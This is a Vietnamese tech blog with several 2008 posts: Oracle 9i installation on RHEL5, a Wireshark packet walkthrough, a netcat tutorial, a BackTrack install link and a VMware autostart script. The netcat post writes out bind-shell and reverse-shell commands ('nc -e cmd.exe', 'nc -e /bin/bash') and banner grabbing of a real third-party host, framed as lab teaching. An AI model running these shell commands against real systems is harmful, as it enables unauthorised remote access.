ORACLE_OEM_JAVARUNTIME=/usr/local/jre1.3.1_19; export ORACLE_OEM_JAVARUNTIME

PATH=$PATH:$ORACLE_HOME/bin; export PATH

if [ $USER = "oracle" ]; then

if [ $SHELL = "/bin/ksh" ]; then

ulimit -p 16384

ulimit -n 65536

else

ulimit -u 16384 -n 65536

fi

fi

Save and close the file.

· Setting up the kernel parameters – You also need to do a little modification in the the kernel parameters. You need to open the sysctl.conf file -

#gedit /etc/sysctl.conf

And add the following lines -

kernel.shmmni = 4096
kernel.sem = 250 32000 100 128
fs.file-max = 65536
net.ipv4.ip_local_port_range = 1024 65000
net.core.rmem_default=262144
net.core.wmem_default=262144
net.core.rmem_max=262144
net.core.wmem_max=262144

Save and close the file. You need to run a command to update the parameters

#sysctl –p

· Logout of root and login again as oracle user.

2. Installing Oracle 9i on RHEL5 (Logged in as oracle):

· Download Oracle 9iDownload the Oracle 9i (9.2.0.4) software from Oracle website. Store the files in oracle’s home directory. Launch the command prompt and navigate there.

$cd /home/oracle

Unzip the files -

$ gunzip ship_9204_linux_disk1.cpio.gz
$gunzip ship_9204_linux_disk2.cpio.gz
$gunzip ship_9204_linux_disk3.cpio.gz

Unpack the cpio files –

$cpio -idmv “<” ship_9204_linux_disk1.cpio
$cpio -idmv “<” ship_9204_linux_disk2.cpio
$cpio -idmv “< “ship_9204_linux_disk3.cpio

· Setting Oraparam.ini fileWhen all archives files are extracted you’ll have three directories Disk1, Disk2 and Disk3. Locate the oraparam.ini and update it with new information. Oraparam.ini is in Disk1/install/linux/ directory.

$gedit /home/oracle/Disk1/install/linux/oraparm.ini

Modify JRE_LOCATION variable and set it to

JRE_LOCATION=/usr/local/jre1.3.1_19

Save the file and close.

· Starting Oracle Installer – Now you are all set for Oracle installation. In the command prompt go to the Disk1 directory and run runInstaller file.

$cd /home/oracle/Disk1

$./runinstaller

–> When you see DBCA Fail, do the following :

You need to change the installer’s JRE. Launch the command prompt, and do the following –

$cd $ORACLE_HOME
$rm JRE
$ln -s $ORACLE_BASE/jre/1.3.1 JRE
$cd JRE/bin
$ln -s java jre
$cd i386/native_threads/
$ln -s java jre

When you are done, select DBCA and every failed services and click retry button, one-be-one. Your installation will succeed.

 

1.5 Using Wireshark (Ethereal) October 13, 2008

1.5  Using Wireshark (Ethereal)
Tổng quan

Việc học và hiểu tốt về một công cụ sniffer là một trong những yêu cầu tối cần thiết đối với những người làm việc liên quan tới network. Việc sử dụng tốt sniffer sẽ giúp chúng ta :

  • Capture được các gói tin từ nhiều nguồn khác nhau
  • Hiểu sâu hơn về bộ giao thức TCP/IP
  • Phân tích các gói tin được capture để hiểu rõ hơn về chức năng của giao thức mạng
  • Giúp đỡ trong việc phân tích và khắc phục sự cố mạng

1.5.1  Peeking at a Sniffer
Ok thực hiện một demo nhỏ, tôi bật WireShark lên và cấu hình nó, sau đó tôi truy cập vào website : www.milw0rm.com. Sau khi truy cập xong, tôi cho dừng việc capture packets của WireShark và tiến hành phân tích ngữ nghĩa của dòng traffic.


Packet1 : ARP Broadcast. Tại sao lại có nó nhỉ, hehe quay trở lại ví dụ của chúng ta, ta đang cố gắng thực hiện một kết nối ra ngoài Internet, và trước khi máy tính của chúng ta có thể thực sự trao đổi được dữ liệu, nó cần phải xác định defaut gateway nằm ở đâu trong mạng Local network (tức là mạng LAN hiện thời của chúng ta). Địa chỉ IP của default gateway đã được cấu hình trên máy tính của chúng ta rồi, tuy nhiên địa chỉ MAC của nó thì chúng ta chưa biết. Do đó từ máy tính của tôi gửi đi một thông điệp tới toàn mạng LAN rằng “Ai có địa chỉ IP là 192.168.0.1? Hãy trả lời lại cho 192.168.0.186″.

Packet2 : Toàn bộ máy tính trong mạng local subnet của tôi đều nhận được gói tin Arp broadcast này và chúng kiểm tra xem có phù hợp với yêu cầu từ máy tôi hay không.Lúc này chỉ có duy nhất địa chỉ 192.168.0.1 trả lời lại cho gói tin ARP của tôi và nó gửi lại cho máy tôi một gói tin là ARP unicast reply, trong đó chứa thông tin về địa chỉ MAC của default gateway.

Packet3 : Ok, giờ thì máy tính của tôi đã biết được nơi mà nó cần  phải gửi các packets để làm sao các packets đó đi ra được Internet, chúng ta cần resolve địa chỉ IP của website : www.milw0rm.com. Máy tính của tôi gửi một gói tin là DNS query tới DNS Server được chỉ ra trong phần cấu hình TCP/IP trên máy của tôi và hỏi DNS Server rằng : Địa chỉ ip của site milw0rm.com là gì?

Packet4 : Thằng DNS Server trả lời lại cho ta biết rằng FQDN của thằng www.milw0rm.com có bí danh là milw0rm.com

Packet5 : Tiếp theo máy tính của ta chấp nhận câu trả lời từ phía DNS Server và tiếp tục đi tìm câu trả lời cuối cùng là địa chỉ IP của milw0rm.com là gì ?

Packet6 : Lúc này thằng DNS Server sẽ trả lời lại và nói cho máy ta biết địa chỉ IP của site milw0rm.com là 213.150.45.196.

Packet7 : Có được câu trả lời về IP của milw0rm, máy của chúng ta tiến hành thủ tục bắt tay 3 bước (3 way handshake) với địa chỉ ip 213.150.45.196 tại port 80 và bắt đầu bằng việc gửi đi một SYN request.

Packet8 : Thằng Web Server sau khi nhận được gói SYN request của ta sẽ trả lời lại bằng một ACK và SYN về máy của ta.

Packet9 : Lúc này máy chúng ta kết thúc quá trình bắt tay 3 bước bằng cách gửi lại ACK về Web Server.

Packet10 : Sau khi kết thúc quá trình bắt tay tức là máy chúng ta lúc này có thể nói chuyện bằng service sử dụng các specific protocol. Do dúng ta dùng Web browser, cho nên máy chúng ta sẽ gửi một HTTP GET để yêu cầu lấy trang index page, và tất cả các linked images về browser của ta.

Packet11 – end : Toàn bộ trang index của  milw0rm đã được load về browser trên máy của chúng ta.

Sau khi phân tích như trên các bạn có thể thấy rằng chương trình sniffer thực sự rất hữu ích, nó giúp ta hình dung rõ ràng nhất những gì đang xảy ra trong môi trường mại của chúng ta.

1.5.2  Capture filters
Nhìn hình minh họa ở trên các bạn sẽ nhận thấy nó rất đẹp, đẹp là bởi vì nó không có các gói tin thuộc dạng “background noise”. Phải thú thực những gì mà ta làm ở trên là một ví dụ lý tưởng, đối với những môi trường nhiều máy tính truy cập các bạn sẽ nhận thấy khi ta capture sẽ nhận được vô số các gói tin hỗn độn nằm ngoài mục đích mong muốn của chúng ta. Những gói tin broadcast, các miscellaneous network services và các running applications khiến cho chúng ta nhiều lúc bị rối rắm trong quá trình phân tích các traffic.

Chính vì lý do này mà chúng ta phải cần tới các bộ lọc.Nhiệm vụ của filter sẽ giúp cho chúng ta loại ra các gói tin không cần thiết trong phiên capture. Các bạn hãy từ mình nghiên cứu và khám phá về nó.

1.5.3  Following TCP Streams
Như bạn thấy trong ví dụ về milw0rm.com ở trên, ta thấy rằng các packet từ 11- cho tới hết là khá  khó khăn trong việc phân tích bởi nó bao gồm các fragments. Các chương trình sniffer hiện đại như WireShark có khả năng ráp nối lại toàn bộ thông tin của một session cụ thể và hiện thị nó dưới dạng dễ nhìn và dễ hiểu hơn.

 

1.4 Netcat The Almighty October 10, 2008

Filed under: 1.4 Netcat The Almighty, Linux, Some tutor about using BackTrack — kienmanowar @ 9:58 am

1.4 Netcat The Almighty
Tổng quan

Netcat là một công cụ được giới Hacking và Security đánh giá là tuyệt vời. Giải thích đơn giản thì netcat là một công cụ có thể “read and write to TCP and
UDP ports”. Netcat có thể chạy ở hai mode : “client” hoặc “server”. Một lời khuyên rất hay mà tôi thường gặp là “Nếu như bạn cảm thấy hay và còn lờ mờ về vấn đề hay công cụ đó hãy tự mình research”

1.4.1 Connecting to a TCP/UDP port with Netcat
Việc kết nối tới một TCP/UDP port trong nhiều trường hợp sẽ giúp ích cho chúng ta những vấn đề sau :

  • Chúng ta muốn kiểm tra xem một port đang open hay đã close (Khả năng quét cổng ngẫu nhiên.)
  • Chúng ta muốn đọc banner từ port
  • Chúng ta muốn kết nối tời một network service

Ok, chúng ta chạy thử netcat và xem help của nó :

1. Để kết nối tới một TCP port 22 tại địa chỉ nào đó và grap lấy banner của chương trình ssh server ta làm như sau (ở đây tôi lấy đại một địa chỉ) :

bt ~ # nc -vv vgr.net 22
Warning: inverse host lookup failed for 65.161.177.104: Unknown host
host6.net [65.161.177.104] 22 (ssh) open
SSH-2.0-OpenSSH_3.8.1p1
sent 0, rcvd 24
bt ~ #

2. Kết quả ta thấy cổng 22 đang open và SSH banner trả về là SSH-2.0-OpenSSH_3.8.1p1

3. Giờ thử connect tới port 80 xem thế nào nhé, thêm vào đó ta sẽ gửi một HTTP HEAD request tới server và đọc ra HTTP server banner. Ta làm như sau :

bt ~ # nc -vv vgr.net 80
Warning: inverse host lookup failed for 65.161.177.104: Unknown host
host6.net [65.161.177.104] 80 (http) open
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Fri, 10 Oct 2008 03:12:20 GMT
Server: Apache
X-Powered-By: PHP/4.4.2
Connection: close
Content-Type: text/html; charset=ISO-8859-1

sent 17, rcvd 161
bt ~ #

Qua đây ta đoán được Server này sử dụng Apache làm Web Server, trên đó đã cài PHP với version có thể là 4.4.2.

1.4.2 Listening on a TCP/UDP port with Netcat
Một tính năng rất hay khác của netcat đó là listen trên một port TCP/UDP, nó mang tới khả năng trong việc ” network debugging client applications”, hoặc “receiving a TCP/UDP network connection”

Ta thử thực hiện một đoạn chat đơn giản sử dụng netcat, công việc này cần có hai máy. Máy của tôi có địa chỉ ip là 10.32.110.67 (OS: Linux), máy khác có ip là 10.32.110.57 (OS : WindowsXP).

1. Trên máy của tôi,tôi chạy netcat cho listen trên port 4444 và lắng nghe các kết nối tới máy tôi :

bt ~ # nc -lvvp 4444
listening on [any] 4444 …

2. Từ máy Windows tôi thực hiện kết nối tới máy tôi :

C:\nc111nt>nc.exe -vv 10.32.110.67 4444
10.32.110.67: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [10.32.110.67] 4444 (?) open

Gõ thử dòng sau :

C:\nc111nt>nc.exe -vv 10.32.110.67 4444
10.32.110.67: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [10.32.110.67] 4444 (?) open
Hi, how are you

Chuyển qua máy tôi :

bt ~ # nc -lvvp 4444
listening on [any] 4444 …
10.32.110.57: inverse host lookup failed: Unknown host
connect to [10.32.110.67] from (UNKNOWN) [10.32.110.57] 2219
Hi, how are you <== thông điệp nhận được
I’m fine. Thanx..And you? <== tôi gửi lại

Kết quả trên máy Windows :

C:\nc111nt>nc.exe -vv 10.32.110.67 4444
10.32.110.67: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [10.32.110.67] 4444 (?) open
Hi, how are you
I’m fine. Thanx..And you?

1.4.3 Transferring files with Netcat
Netcat có thể được sử dụng để truyền nhận file như một simple ftp.Nó hỗ trợ truyền text và binary files.Thực hiện demo tranfer một file từ máy Windows tới máy Linux.

1. Tại máy Linux : ta cho netcat lắng nghe và chấp nhận kết nối đồng thời chuyển hướng bất kì một input nào từ máy Windows vào một file.

bt ~ # nc -lvp 4444 > output.txt
listening on [any] 4444 …

2. Tại máy Windows : ta tạo ra một file test.txt có nội dung tùy ý.Sau đó connect tới máy Linux và send file.

C:\nc111nt>echo “Hi! I want to transfer some files to you..lolz!!” > test.txt

C:\nc111nt>type test.txt
“Hi! I want to transfer some files to you..lolz!!”

C:\nc111nt>nc.exe -vv 10.32.110.67 4444 < test.txt
10.32.110.67: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [10.32.110.67] 4444 (?) open

Do netcat không có thông báo hay dấu hiệu gì cho ta thấy rằng đang truyền file, cho nên ta đợi một lúc sau đó nhấn Ctrl + C để thoát khỏi netcat.

3. Tại máy Linux tiến hành kiểm tra
bt ~ # nc -lvp 4444 > output.txt
listening on [any] 4444 …
10.32.110.57: inverse host lookup failed: Unknown host
connect to [10.32.110.67] from (UNKNOWN) [10.32.110.57] 4084
bt ~ # cat output.txt
“Hi! I want to transfer some files to you..lolz!!”
bt ~ #

Dùng lệnh cat để kiểm tra nội dung của file output.txt như trên. :)

1.4.4 Remote Administration with Netcat
Một tên gọi khác của netcat được nhiều người gọi là “Netcat as a BackDoor”. Một trong những tính năng có thể gọi là tinh xảo của netcat đó là command redirection. Điều này được giải thích như sau :
“Netcat can take an exe file and redirect the input,output and error messages to a TCP/UDP port, rather than to the default console.”. Ta lấy ví dụ để cho dễ hiểu với file cmd.exe trên máy Windows.Bằng việc redirect stdin/stdout/stderr, chúng ta có thể bind chương trình cmd.exe vào một local port.Bất kì một người nào kết nối tới port này sẽ nhận được một command prompt. Hehe có vẻ lằng nhằng nhỉ, theo dõi một số ví dụ để dễ hình dung.

Giả sử, có hai user là Bob và Alice – hai user này đều muốn tìm cách kết nối tới máy của nhau.Hãy xem hình minh họa về mô hình mạng cũng như vai trò của từng người trong mô hình.

1.4.4.1 Scenario 1 – Bind Shell
Trong ví dụ 1 này, Bob muốn nhờ tới sự trợ giúp của Alice do đó anh ta đề nghị Alice kết nối tới máy của anh ta để giúp đỡ. Như bạn thấy trong hình trên Bob tác giả nói là (Bob has a non RFC 1918 address (http://www.faqs.org/rfcs/rfc1918.html)) và anh ta kết nối trực tiếp với internet.Tuy nhiên, ngược lại Alice lại đừng đằng sau một NAT connection.

Để giúp alice connect tới máy mình Bob làm như sau, anh ta cần phải bind cmd.exe ra một port TCP trên máy anh ta và sau đó thông báo cho Alice kết nối tới port đó.
Trên máy của Bob :

C:\nc111nt>nc -lvvp 4444 -e cmd.exe
listening on [any] 4444 …

Điều này hơi nguy hiểm bởi lẽ nếu một người nào đó không phải là Alice mà sử dụng việc scan port trên máy Bob và dùng nc kết nối tới thì sẽ nguy hiểm. Ở đây ta giả sử chỉ có Alice kết nối tới.

Tại máy của Alice

bt ~ # nc -v 10.32.110.57 4444
10.32.110.57: inverse host lookup failed: Unknown host
(UNKNOWN) [10.32.110.57] 4444 (krb524) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\nc111nt> <== hiện ra cái này là kết nối thành công :)

Tiếp theo thử gõ lệnh xem thế nào :

C:\nc111nt>dir
dir
Volume in drive C has no label.
Volume Serial Number is 4CD7-38CF

Directory of C:\nc111nt

10/10/2008 03:42 PM

.
10/10/2008 03:42 PM ..
12/28/2004 11:23 AM 12,166 doexec.c
07/09/1996 04:01 PM 7,283 generic.h
11/06/1996 10:40 PM 22,784 getopt.c
11/03/1994 07:07 PM 4,765 getopt.h
02/06/1998 03:50 PM 61,780 hobbit.txt
12/27/2004 05:37 PM 18,009 license.txt
11/28/1997 02:36 PM 544 makefile
12/29/2004 01:07 PM 61,440 nc.exe
12/29/2004 01:07 PM 69,662 netcat.c
12/27/2004 05:44 PM 6,833 readme.txt
10/10/2008 03:42 PM 53 test.txt
11 File(s) 265,319 bytes
2 Dir(s) 31,878,184,960 bytes free

C:\nc111nt>

1.4.4.2 Scenario 2 – Reverse Shell
Tình huống thứ hai, giờ đến lượt Alice muốn nhờ Bob giúp.Ta giả định rằng Alice không phải là người kiểm soát NAT device, vậy có cách nào để Bob kết nối tới máy của Alice và giúp đỡ cô ấy. :(

Một tính năng thú vị khác của netcat là khả năng send một command shell tới một listening host.Vì vậy trong tình huống này, mặc dù Alice không thể bind port tới cmd.exe trên máy của cô ấy và mong chờ Bob kết nối tới, cô ấy có thể send command prompt của cô ấy tới máy của Bob :) . Vậy thực hiện như sau :

Tại máy của Bob:

C:\nc111nt>nc -lvvp 4444
listening on [any] 4444 …

Tại máy của Alice :

bt ~ # nc -v 10.32.110.57 4444 -e /bin/bash
10.32.110.57: inverse host lookup failed: Unknown host
(UNKNOWN) [10.32.110.57] 4444 (krb524) open

Lúc này tại máy của Bob ta thấy như sau :

C:\nc111nt>nc -lvvp 4444
listening on [any] 4444 …
10.32.110.67: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.32.110.57] from (UNKNOWN) [10.32.110.67] 44735: NO_DATA

Lúc này ta có thể gõ lệnh được rồi :

C:\nc111nt>nc -lvvp 4444
listening on [any] 4444 …
10.32.110.67: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.32.110.57] from (UNKNOWN) [10.32.110.67] 44735: NO_DATA
ifconfig
eth0 Link encap:Ethernet HWaddr 00:0C:29:36:1E:01
inet addr:10.32.110.67 Bcast:10.32.110.255 Mask:255.255.255.0
UP BROADCAST NOTRAILERS RUNNING MULTICAST MTU:1500 Metric:1
RX packets:188690 errors:1 dropped:0 overruns:0 frame:0
TX packets:16575 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:24337003 (23.2 MiB) TX bytes:3898205 (3.7 MiB)
Interrupt:16 Base address:0×2000

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:10 errors:0 dropped:0 overruns:0 frame:0
TX packets:10 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:1135 (1.1 KiB) TX bytes:1135 (1.1 KiB)

ls
Desktop
dnsz.sh
dodnsr.sh
dopings.sh
findicq.sh
icq-ips.txt
icq-srv.txt
index.html
output.txt

Chà thật là thú vị. Dưới đây là đôi lời của tác giả viết bài này :


Netcat has other nice features and uses such as simple sniffing abilities, port redirection and others which I will leave for you to research independently. The reason I didn’t want to call this Module “Netcat as a backdoor” is that students usually start thinking about the malicious implementations of such a backdoor, and one of the first questions asked is: “How to I get Netcat to run on the victim machine, without remote user intervention?”.I usually dismiss this question, with a horrified look on my face. The magic answer to this question is simply “remote code execution”.Ninety percent of attack vectors can be summarized with the pair of words “code execution”.For example,attacks such as Buffer Overflows, SQL injection, File Inclusion,Client Side Attacks, Trojan Horses – all aim to result in “code execution” on the victim machine.

 

Hướng dẫn cài đặt BackTrack v2/v3 October 3, 2008

Filed under: Hướng dẫn cài đặt BackTrack, Linux — kienmanowar @ 7:09 am

Hướng dẫn cài đặt BackTrack v2/v3 lên ổ cứng

What Is BackTrack?

BackTrack is the result of the merging of two Innovative Penetration Testing live Linux distributions – Whax and Auditor. BackTrack has been dubbed as the best Security Live CD today, and has been rated 1st in its category, and 32nd overall in Insecure.org. Based on SLAX (Slackware), BackTrack provides user modularity. This means the distribution can be easily customised by the user to include personal scripts, additional tools, customised kernels, etc

Xem chi tiết tại đây : http://www.offensive-security.com/movies/dualboot/dualboot.html

 

Auto Start vmware script September 4, 2008

Filed under: Auto start vmware script, Linux — kienmanowar @ 9:49 am

Mới sưu tầm được cái script để tự động start vmware trên Linux.

#!/bin/bash

# check if Windows VM is running
VMWIN=$(ps -ef | grep 'wts4.vmx' | grep -v 'grep')

# if string is empty then the VM is not running; start it
if [ -z "$VMWIN" ]; then
echo "Starting Windows VM..."
# vmrun start /virtual2/ts2000/wts4.vmx
else
echo "The Windows VM is already running"
fi

# check if Linux VM is running
VMLINUX=$(ps -ef | grep 'rhel4.vmx' | grep -v 'grep')

# if string is empty then the VM is not running; start it
if [ -z "$VMLINUX" ]; then
echo "Starting Linux VM..."
# vmrun start /virtual2/rhel/rhel4.vmx
else
echo "The Linux VM is already running"
fi